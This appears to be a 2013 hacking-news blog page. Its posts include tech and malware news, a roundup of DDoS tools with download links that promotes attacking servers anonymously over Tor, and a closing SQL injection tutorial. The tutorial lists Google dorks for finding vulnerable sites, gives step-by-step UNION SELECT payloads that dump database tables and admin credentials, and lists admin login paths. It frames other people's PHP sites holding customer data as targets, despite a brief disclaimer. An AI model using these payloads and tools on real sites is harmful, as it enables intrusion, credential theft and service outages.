Latest Hacking News

Hacking with new Ideas provide Latest Hacking News.

Android Hacking tricks

Installing in your mobile tutorial and much more.

Black Hat Asia 2014 News

Watch and read the latest News detials.

Latest news and Tutorials

Latest hacking and tech news with tricks.

Secure yourself by hidden Attack

We will provide you best deals with news and tutorials.

26 Dec 2013

Gadget that make your Smartphone more Smart : FIN

FIN

FIN a Gadget from RHL VISION  with the slogan " Wear the World ". From a website  Fin is a real life buddy for every individual to do their digital interactions as natural as possible. Fin is a trendy gadget you can wear on the thumb and make your whole palm as a digital touch interface. 
From interacting with Rohil Dev a Founder/CEO of RHL Vision  ,  said about FIN - :
We are using touch to interact with our smartphone. if you are touching in the phone you need to hold phone in one hand and touch using thumb.That touching will reduce your screen visibility around 40%. But if you have fin, Just hold phone in your hand and your fin will be in your other hand you can put your hand feely and do all the touch and other gesture in your palm itself.
So it will give 100% screen visibility, and you can also attend the call or change music track without taking phone from the pocket.
" The smart choice make you more smart. "

For more updates visit : http://www.wearfin.com/

24 Dec 2013

Merry Christmas to you from Hacking with New Ideas



I hope that your Christmas would be enjoyable and may the essence of Christmas remains always with you.
Merry X-mas.

Friends like you are very tough to get.I wish you a merry Christmas before it is too late.

21 Dec 2013

Top 5 DDoS Attack Tools : Distributed Denial of Service Attack

What Is a Denial of Service Attack?
A DOS attack is an attempt to make a system or server unavailable for legitimate users and, finally, to take the service down. This is achieved by flooding the server’s request queue with fake requests. After this, server will not be able to handle the requests of legitimate users.
In general, there are two forms of the DOS attack. The first form is on that can crash a server. The second form of DOS attack only floods a service.
DDos

Tools :
1. LOIC (Low Orbit Ion Canon) :

LOIC is one of the most popular DOS attacking tools freely available on the Internet. This tool was used by the popular hackers group Anonymous against many big companies’ networks last year. Anonymous has not only used the tool, but also requested Internet users to join their DDOS attack via IRC.
It can be used simply by a single user to perform a DOS attack on small servers. This tool is really easy to use, even for a beginner. This tool performs a DOS attack by sending UDP, TCP, or HTTP requests to the victim server. You only need to know the URL of IP address of the server and the tool will do the rest.
LOIC

The most important thing you should know is that LOIC does nothing to hide your IP address. If you are planning to use LOIC to perform a DOS attack, think again. Using a proxy will not help you because it will hit the proxy server not the target server. So using this tool against a server can create a trouble for you.
Download : LOIC
2. XOIC
XOIC is another nice DOS attacking tool. It performs a DOS attack an any server with an IP address, a user-selected port, and a user-selected protocol. Developers of XOIC claim that XOIC is more powerful than LOIC in many ways. Like LOIC, it comes with an easy-to-use GUI, so a beginner can easily use this tool to perform attacks on other websites or servers.
XOIC

It is an effective tool and can be used against small websites. Never try it against your own website. You may end up crashing your own website’s server.
Download XOIC
3. HULK (HTTP Unbearable Load King)
HULK is another nice DOS attacking tool that generates a unique request for each and every generated request to obfuscated traffic at a web server. This tool uses many other techniques to avoid attack detection via known patterns.
hulk script

It has a list of known user agents to use randomly with requests. It also uses referrer forgery and it can bypass caching engines, thus it directly hits the server’s resource pool.
The developer of the tool tested it on an IIS 7 web server with 4 GB RAM. This tool brought the server down in under one minute.
Download HULK 
4. DDOSIM—Layer 7 DDOS Simulator
DDOSIM is another popular DOS attacking tool. As the name suggests, it is used to perform DDOS attacks by simulating several zombie hosts. All zombie hosts create full TCP connections to the target server.
This tool is written in C++ and runs on Linux systems.

DDoS SIM
These are main features of DDOSIM
  • Simulates several zombies in attack
  • Random IP addresses
  • TCP-connection-based attacks
  • Application-layer DDOS attacks
  • HTTP DDoS with valid requests
  • HTTP DDoS with invalid requests (similar to a DC++ attack)
  • SMTP DDoS
  • TCP connection flood on random port
Download DDOSIM 
5. Tor’s Hammer
Tor’s Hammer is another nice DOS testing tool. It is a slow post tool written in Python. This tool has an extra advantage: It can be run through a TOR network to be anonymous while performing the attack. It is an effective tool that can kill Apache or IIS servers in few seconds.
torshammer

Download
 Tor's Hammer

19 Dec 2013

Top 10 CMS : Content Management Systems for Development

There are plenty of options when it comes to picking a content management system for a development project. Depending on how advanced you need the CMS to be, what language it’s built in, and who is going to be using it, it can be a nightmare trying to find the “perfect” CMS for a project.
However, some CMSs have a slight edge over the rest of the competition because of the usability of the software. Some are just easier to install, use and extend, thanks to some thoughtful planning by the lead developers. Here are 10 of the most usable CMSs on the web to use in your next project.

1. WordPress

WordPress
What is there left to say about WordPress that hasn’t already been said? The PHP blogging platform is far and away the most popular CMS for blogging, and probably the most popular CMS overall. It’s a great platform for beginners, thanks to their excellent documentation
and super-quick installation wizard. Five minutes to a running CMS is pretty good. Not to mention the fact that the newest versions auto-update the core and plugins from within the backend, without having to download a single file.
For those users not familiar with HTML or other markup language, a WYSIWYG editor is provided straight out of the box. The backend layout is streamlined and intuitive, and a new user should be able to easily find their way around the administration section. Wordpres also comes with built-in image and multimedia uploading support.
For developers, the theming language is fairly simple and straightforward, as well the Plugin API.
The WordPress Community is a faithful and zealous bunch. WordPress probably has the widest base ofplugins and themes to choose from. A great part about the WordPress community is the amount of help and documentation online you can find on nearly every aspect of customizing WordPress. If you can dream it, chances are it’s already been done with WordPress and documented somewhere.

2. Drupal

Drupal

Drupal is another CMS that has a very large, active community. Instead of focusing on blogging as a platform, Drupal is more of a pure CMS. A plain installation comes with a ton of optional modules that can add lots of interesting features like forums, user blogs, OpenID, profiles and more. It’s trivial to create a site with social features with a simple install of Drupal. In fact, with a few 3rd party modules you can create someinteresting site clones with little effort.
One of Drupal’s most popular features is the Taxonomy module, a feature that allows for multiple levels and types of categories for content types.
Drupal also has a very active community powering it, and has excellent support for plugins and other general questions.

3. Joomla!

Joomla!
Joomla is a very advanced CMS in terms of functionality. That said, getting started with Joomla is fairly easy, thanks to Joomla’s installer. Joomla’s installer is meant to work on common shared hosting packages, and is a very straightforward considering how configurable the software is.
Joomla is very similar to Drupal in that it’s a complete CMS, and might be a bit much for a simple portfolio site. It comes with an attractive administration interface, complete with intuitive drop-down menus and other features. The CMS also has great support for access control protocols like LDAP, OpenID and even Gmail.com.
The Joomla site hosts more than 3,200 extensions, so you know the developer community behind the popular CMS is alive and kicking. Like WordPress, you can add just about any needed functionality with an extension. However, the Joomla theme and extension community relies more on paid plugins and themes, so if you’re looking for customizations, be ready to pay.

4. ExpressionEngine

EE
ExpressionEngine (EE) is an elegant, flexible CMS solution for any type of project. Designed to be extensible and easy to modify, EE sets itself apart in how clean and intuitive their user administration area is. It takes only a matter of minutes to understand the layout of the backend and to start creating content or modify the look. It’s fantastic for creating websites for less-than-savvy clients that need to use the backend without getting confused.
ExpressionEngine is packed with helpful features like the ability to have multiple sites with one installation of software. For designers, EE has a powerful templating engine that has custom global variables, custom SQL queries and a built in versioning system. Template caching, query caching and tag caching keep the site running quickly too.
One of my favorite features of EE that is the global search and replace functionality. Anyone who’s ever managed a site or blog knows how useful it is to change lots of data without having to manually search and open each page or post to modify it.
ExpresssionEngine is quite different than other previously-mentioned CMS in that it’s paid software. The personal license costs $99.95, and the commercial license costs $249.99.

5. TextPattern

Textpattern
Textpattern is a popular choice for designers because of its simple elegance. Textpattern isn’t a CMS that throws in every feature it can think of. The code base is svelte and minimal. The main goal of Textpattern is to provide an excellent CMS that creates well-structured, standards-compliant pages. Instead of providing a WYSIWYG editor, Textpattern uses textile markup in the textareas to create HTML elements within the pages.
The pages that are generated are 
extremely lightweight and fast-loading.Even though Textpattern is deliberately simple in design, the backend is surprisingly easy to use and intuitive. New users should be able to find their way around the administration section easily.
While Textpattern may be very minimal at the core level, you can always extend the functionality by 3rd party extensions, mods or plugins. Textpattern has an active developer community with lots of help and resources at their Textpattern.org site.

6. Radiant CMS

Radiant

The content management systems that we’ve listed so far are all PHP programs. PHP is the most popular language for web development, but that doesn’t mean we should overlook other popular web languages like Ruby. Radiant CMS is a fast, minimal CMS that might be compared to Textpattern. Radiant is built on the popular Ruby framework Rails, and the developers behind Radiant have done their best to make the software as simple and elegant as possible, with just the right amount of functionality. Like Textpattern, Radiant doesn’t come with a WYSIWYG editor and relies on Textile markup to create rich HTML. Radiant also has it’s own templating language Radius which is very similar to HTML for intuitive template creation.

7. Cushy CMS

Cushy CMS

Cushy CMS is a different type of CMS altogether. Sure, it has all the basic functionality of a regular content management system, but it doesn’t rely on a specific language. In fact, the CMS is a hosted solution. There are no downloads or future upgrades to worry about.
How Cushy works is it takes FTP info and uploads content on to the server, which in turn the developer or the designer can modify the layout, as well as the posting fields in the backend, just by changing the style classes of the styles. Very, very simple.
Cushy CMS is free for anyone, even for professional use. There is an option to upgrade to a pro account to use your own logo and color scheme, as well as other fine-grain customizations in the way Cushy CMS functions.

8. SilverStripe

SilverStripe

SilverStripe is another PHP CMS that behaves much like WordPress, except has many more configurable options and is tailored towards content management, and not blogging. SilverStripe is unique because it was built upon its very own PHP framework Saphire. It also provides its own templating language to help with the design process.
SilverStripe also has some interesting features built in to the base, like content version control and native SEO support. What’s really unique with SilverStripe is that developers and designers can customize the administration area for their clients, if need be. While the development community isn’t as large as other projects there are some modulesthemes and widgets to add functionality. Also, you’ll want to modify the theme for each site, as SilverStripe doesn’t provide much in terms of style, to give the designer more freedom.

9. Alfresco

Alfresco

Alfresco is a JSP is a beefy enterprise content management solution that is surprisingly easy to install. A really useful feature of Alfresco is the ability to drop files into folders and turn them into web documents. Alfresco might be a little bit more work than some of the other CMS and isn’t as beginner-friendly, it certainly is quite usable given the massive power of the system. The administration backend is clean and well-designed.
While Alfresco might not be a great choice for most simple sites, it’s an excellent choice for enterprise needs.

10. TYPOlight

TYPOlight

TYPOlight seems to have the perfect balance of features built into the CMS. In terms of functionality, TYPOlight ranks with Drupal and ExpressionEngine, and even offers some unique bundled modules like newsletters and calendars. Developers can save time with the built-in CSS generator, and there are plenty of resources for learning more about the CMS.
If there is a downside to TYPOlight, it’s that it has so many features and configurable options. Even though the backend is thoughtfully organized, there are still a lot of options to consider. But if you’re wanting to build a site with advanced functionality and little extra programming, TYPOlight could be a great fit.
Source : Net Tuts+

18 Dec 2013

NSA officials claimed that China has developed a BIOS based malware

BIOS Malware that can remotely destroy any computer
During a CBS Interview show "60 Minutes", The National Security Agency (NSA) officials claimed that China has developed a BIOS based malware that can remotely destroy any computer.

Obviously NSA is struggling to repair its image and in an effort to justify their extensive Surveillance programs, The NSA Director General Keith Alexander and Information Assurance Director Debora Plunkett made a number of claims.During that interview NSA officials said that they had foiled a malware attack that could have taken down the U.S. economy.

"One of our analysts actually saw that the nation state had the intention to develop and to deliver, to actually use this capability to destroy computers," Plunkett said.

They have mentioned that this malware was distributed via social engineering and targeted emails, although the NSA director mentioned that their researchers worked with computer manufacturers and able to close the respective vulnerability.

"This is the BIOS system which starts most computers. The attack would have been disguised as a request for a software update. If the user agreed, the virus would've infected the computer." he added.

"Think about the impact of that across the entire globe. It could literally take down the U.S. economy." (BULLSHIT)

If this Malware was intentionally born to threat U.S Economy, then what about DNS Changer malware or Zeus banking Trojan or infomous CryptoLocker ransomware that extensively spread across USA? So, Why NSA's Surveillance programs are failed to defend us from similar known threats ?

Complete Interview Video:

The BIOS malware is not new in the cyber world, and really not a big threat, but if NSA seriously justifying their Surveillance program by saying that this so called BIOS malware was one of the biggest threat they has taken down, then LET ME LAUGH.

Source: The Hacker News

16 Dec 2013

Google removes privacy feature from Android, says inclusion was an accident

ANDROID

Google Inc has removed an experimental privacy feature from its Android mobile software that had allowed users to block apps from collecting personal information such as address book data and a user's location.
The change means that owners of smartphones using Android 4.4.2, the latest version of the world's most popular operating system for mobile devices released this week, must provide access to their personal data in order to use certain apps.
A company spokesman said the feature had been included by accident in Android 4.3, the version released last summer.
"We are suspicious of this explanation, and do not think that it in any way justifies removing the feature rather than improving it,"

said Peter Eckersley, technology projects director at the Electronic Frontier Foundation. The digital rights website first publicized the change in a blog post on Friday.
Android users who wish to retain the privacy controls by not upgrading to Android 4.4.2 could be vulnerable to security risks, Eckersley said.

 "For the time being, users will need to chose between either privacy or security on the Android devices, but not both."
Many third-party apps for Android devices, such as music-identifying service Shazam and popular smartphone flashlight apps, require access to personal information that does not always have an obvious connection to the app's functionality, such as phone call information and location data.
The privacy feature allowed users to pick and choose which personal data a third-party app can collect, Eckersley said. Users had to install a special Apps Ops Launcher software, which was created by another company, in order to access the hidden privacy controls.
Android was loaded on 81 percent of all smartphones shipped worldwide in the third quarter, according to industry research firm IDC. Apple Inc's iOS, the software used on the iPhone, had 12.9 percent market share.
Privacy has become an increasingly important issue as smartphones, which are loaded with consumers' personal information, become the primary computing device for many consumers.

In November Google agreed to pay a $17 million fine to settle allegations that it secretly tracked Web users by placing special digital files on the Web browsers of their smartphones.

source : NDTV Gadgets

11 Dec 2013

Mouabad Android Malware calling to Premium numbers; Generating revenue for its Master

Android platform is a primary target for malware attacks from few years and during 2013, more than 79% of mobile operating malware threats are taking place on Android OS. 

Mouabad Android Malware calling to Premium numbers for generating revenue its Master


Till now we have seen the majority of Android malware apps that earn money for their creators by sending SMS messages to premium rate numbers from infected devices. 

Security researchers at Lookout identified an interesting monetized Android Malware labeled as 'Mouabad', that allow a remote attacker to make phone calls to premium-rate numbers without user interaction from C&C servers by sending commands to the malware.

The technique is not new, but infection from such app notified first time in the wild. The variant dubbed MouaBad.p., is particularly sneaky and to avoid detection it waits to make its calls until a period of time after the screen turns off and the lock screen activates.

"Mouabad.p also end the calls it makes as soon as a user interacts with their device (e.g. unlocks it). However, this malware variant does not appear to have the ability to modify call logs so a discerning victim could uncover Mouabad.p’s dialing activity by checking their call histories." 

Risk of infection is low, because the malware app works only on devices running Android version 3.1 or old and designed to mainly target Chinese-speaking users. 

"Mouabad.p and other trojans that can financially harm users and effectively hide themselves underscore the need for sophisticated mobile malware protection.

Android architecture loophole contributes to the growth of Android malware. It basically can't identify the difference between a legit app i.e. Taking permissions to read your Contacts or SMS (i.e. True Caller),  or a malicious applications (i.e. Trojans), or state-sponsored applications (i.e. WeChat). 

Neither  Android architecture allows users to revoke the list of permissions they don't want to give to an application. For now, If you own a Smartphone, I highly recommend you to install applications only from some trusted App Store i.e. Google Play.

Source:The Hacker News

4 Dec 2013

Researchers create malware that communicates via silent sound, no network needed

How a malware can steal the data from an infected system that doesn't have internet connection? You might think it is impossible.  Computer scientists say it is possible.
When security researcher Dragos Ruiu claimed malware dubbed “badBIOS” allowed infected machines to communicate using sound waves alone—no network connection needed—people said he was crazy. New research from Germany’s Fraunhofer Institute for Communication, Information Processing, and Ergonomics suggests he’s all too sane.

malware

As outlined in the Journal of Communications (PDF) and first spotted by ArsTechnica, the proof-of-concept malware prototype from Michael Hanspach and Michael Goetz can transmit information between computers using high-frequency sound waves inaudible to the human ear. The duo successfully sent passwords and more between non-networked Lenovo T400 laptops via the notebooks’ built-in microphones and speakers. Freaky-deaky!
The infected victim sends all recorded keystrokes to the covert acoustical mesh network. Infected drones forward the keystroke information inside the covert network till the attacker is reached. "

The most successful method was based on software developed for underwater communications. The laptops could communicate a full 65 feet apart from each other, and the researchers say the range could be extended by chaining devices together in an audio “mesh” network, similar to the way Wi-Fi repeaters work.
While the research doesn’t prove Ruiu’s badBIOS claims, it does show that the so-called “air gap” defense—that is, leaving computers with critical information disconnected from any networks—could still be vulnerable to dedicated attackers, if attackers are first able to infect the PC with audio mesh-enabled malware.

Sending data via sound

Sending data via sonund

“We use the keylogging software logkeys for our experiment,” they wrote. “The infected victim sends all recorded keystrokes to the covert acoustical mesh network. Infected drones forward the keystroke information inside the covert network till the attacker is reached, who is now able to read the current keyboard input of the infected victim from a distant place.”
In another test, the researchers used sound waves to send keystroke information to a network-connected computer, which then sent the information to the “attacker” via email.
Now for the good news: This advanced proof-of-concept prototype isn’t likely to work its way into everyday malware anytime soon, especially since badware that communicates via normal Net means should be all that’s needed to infect the PCs of most users. Nevertheless, it’s ominous to see the last-line “air gap” defense fall prey to attack—especially in an age of state-sponsored malware run rampant.
Source : pcworld.com

2 Dec 2013

SQL injection Tutorial : The Power of SQLi

SQLi

In this article, you will learn how to perform a SQL injection attack on a website. Please note that this article is for instructional purposes only. If you successfully breach a website that does not belong to you, you are in violation of federal law and could face incarceration and hefty fines. That said, it is useful to understand how SQL injection works so that you can prevent it from occurring on your own website.


What is a SQL Injection?

SQL injection is a code injection technique that exploits a security vulnerability within the database layer of an application. This vulnerability can be found when user input is incorrectly filtered for string literal escape characters embedded in SQL statements.

Watch your Target :->

One of the easiest ways to find vulnerable sites is known as Google Dorking. In this context, a dork is a specific search query that finds websites meeting the parameters of the advanced query you input. Some examples of dorks you can use to find sites vulnerable to a SQL injection attack include:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num= andinurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
These are some universal used dorks.Want more dork list... google it you can find huge list of dorks..

Remember that a SQL injection attack can work on any SQL database, but PHP-based websites are usually your best targets because they can be set up by just about anyone (i.e. WordPress) and often contain lots of valuable information about customers within the database you are attempting to hack.

Let's do Attack :->

Navigate to one of the websites you found. For this example, assume that one of the search results is http://www.udemy.com/index.php?catid=1. To find out if this site is vulnerable to SQL injection, simply add an apostrophe at the end of the URL like this:
http://www.example.com/index.php?catid=1’
Press enter and see what the website does. If the page returns a SQL error, the website is vulnerable to SQL injection. If the page loads normally, it is not a candidate for SQL injection and you should move on to the next URL in your list.
After locating a vulnerable site, you need to figure out how many columns are in the SQL database and how many of those columns are able to accept queries from you. Append an “order by” statement to the URL like this:
http://www.example.com/index.php?catid=1 order by 1--
Continue to increase the number after “order by” until you get an error. The number of columns in the SQL database is the highest number before you receive an error. The two hyphen's (--) are critical for executing the command. The two hyphens will tell the site that it's a command, and will execute. So we NEED those at the end of every command.
Like :
  • http://www.example.com/index.php?catid=1 order by 1--
  • http://www.example.com/index.php?catid=1 order by 2--
  • http://www.example.com/index.php?catid=1 order by 3--
  • http://www.example.com/index.php?catid=1 order by 4--
  • http://www.example.com/index.php?catid=1 order by 5--

You can do this by appending an “Union Select” statement to the URL. A union select statement in this URL would look like this:
http://www.example.com/index.php?catid=-1 union select 1,2,3,4,5,6--
There are a couple of things to note in this example. Before the number one (after catid), you need to add a hyphen (-). Also, the number of columns you discovered in the previous step is the number of digits you put after the union select statement. For instance, if you discovered that the database had 12 columns, you would append:
         catid=-1 union select 1,2,3,4,5,6--
The results of this query will be the column numbers that are actually accepting queries from you. You can choose any one of these columns to inject your SQL statements.

A couple of number will appear on your screen. That is normal, and is a good sign. Those numbers, are the numbers of columns that are vulnerable to SQL Injection. So those are the columns we need to execute our commands in. So lets say that column 2 appeared on the Page. We will be executing commands in column 2.
So our vulnerable column is 2. So that's where we'll be executing the code. Replace the 2 with your command.
 The command is:   
@@version

So your URL should now look like this:

http://www.example.com/index.php?catid=1 union select 1,@@version,3,4,5,6--

Now it should display the Version on the page. 
It should look something like this:           5.1.47-community-log

The numbers don't matter, as long as they're at least 5, or over.
The name of the Database is important. At least if we want to look in the Tables which will contain the information. 

Exploit vulnerable Database :->

To find the name of the database, there are 2 most common ways. They both will work. 
The first command is:
http://www.example.com/index.php?catid=1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--
Sometimes, that command will show you more than the Database name. But all we want is the database name, so the better command would prefferably be:

http://www.example.com/index.php?catid=1 union select 1,concat(database()),3,4,5,6--

Now you will be showed the Database name. Congrats, look how far we are already. Now to the good stuff!

The tables are what contains information. That's why we need to view them. So we can get the information we seek.

The command to view the tables is longer than the few we've seen already. So here's what your URL should now look like:

http://www.example.com/index.php?catid=1  union select 1, group_concat(table_name),3,4 FROM  information_schema.tables WHERE table_schema=database()--

We will most likely be given many tables. It is up to you to decide which one contains the valuable information.

So it can be at times difficult to choose a table that would contain important information. However, we will not always need the username, as it is most likely "admin". But the password, is what we REALLY need.
So choose a table. The one I will use for this example will be "admin_credentials".
 It's very rare that you'll get a Table with a title basically making you choose that one.
So this time use this query/command:

http://www.example.com/index.php?catid=1  union select 1, group_concat(column_name),3,4 FROM  information_schema.columns WHERE table_name="admin_credentials"

For that query, you will almost ALWAYS get an error. So instead, convert the 'admin_credentials' to Hex.

To do that, Everyone use this Addon for Firefox:
Download (HackBar Addon)

Once you've converted your Table Name to Hex, you'll need to use the query again, but with Hex. So it should look like this:

    http://www.example.com/index.php?catid=1   union select 1,group_concat(column_name),3,4 FROM  information_schema.columns WHERE  table_name="0x61646d696e5f63726564656e7469616c73"

You MUST have the 0x after the =. The 0x will let the site know that you are executing the command with HEX. So it's critical. Otherwise, it will NOT work.

There will still be some tables inside the table you've chosen. So you need to get the information, and that will usually mean goodbye tables, and HELLO Admin Panel access.

Let's say that mine is displaying "userpassword" and "user". Those are the only columns that are displaying for me (However, this will very rarely be the case). So we need to access the information in there. We can access them both at a time actually. 

But if you prefer one at a time, use this query:

http://www.example.com/index.php?catid=1 union select 1, group_concat(userpword),3,4 FROM  DBName.admin_credentials--

That will display the information. Where it says DBName, you need to put the name of the Database you got earlier in this tutorial. An where it says admin_credentials, you need to put the table that you are inside of.

Now we should have all the credentials, so we just need to find the Admin Login.

Usually, all you'll have to do is take a quick look by adding a small /admin or /index.php/admin.

Like:
http://www.example.com/admin
http://www.example.com/admin.php
http://www.example.com/login.php
http://www.example.com/admin/index.php
http://www.example.com/login/index.php
http://www.example.com/adminlogin
http://www.example.com/adminlogin.php
http://www.example.com/adminlogin/index.php
http://www.example.com/moderator.php
http://www.example.com/moderator
http://www.example.com/modlogin


And there are plenty more. At times, you will not find the Login, so you'll need an "Admin Login" finder. There are some online, and there are also downloads. I recommend doing it manually, because it brings a more proud-ness after hacking the Website.
Source : wikipedia,udemy.com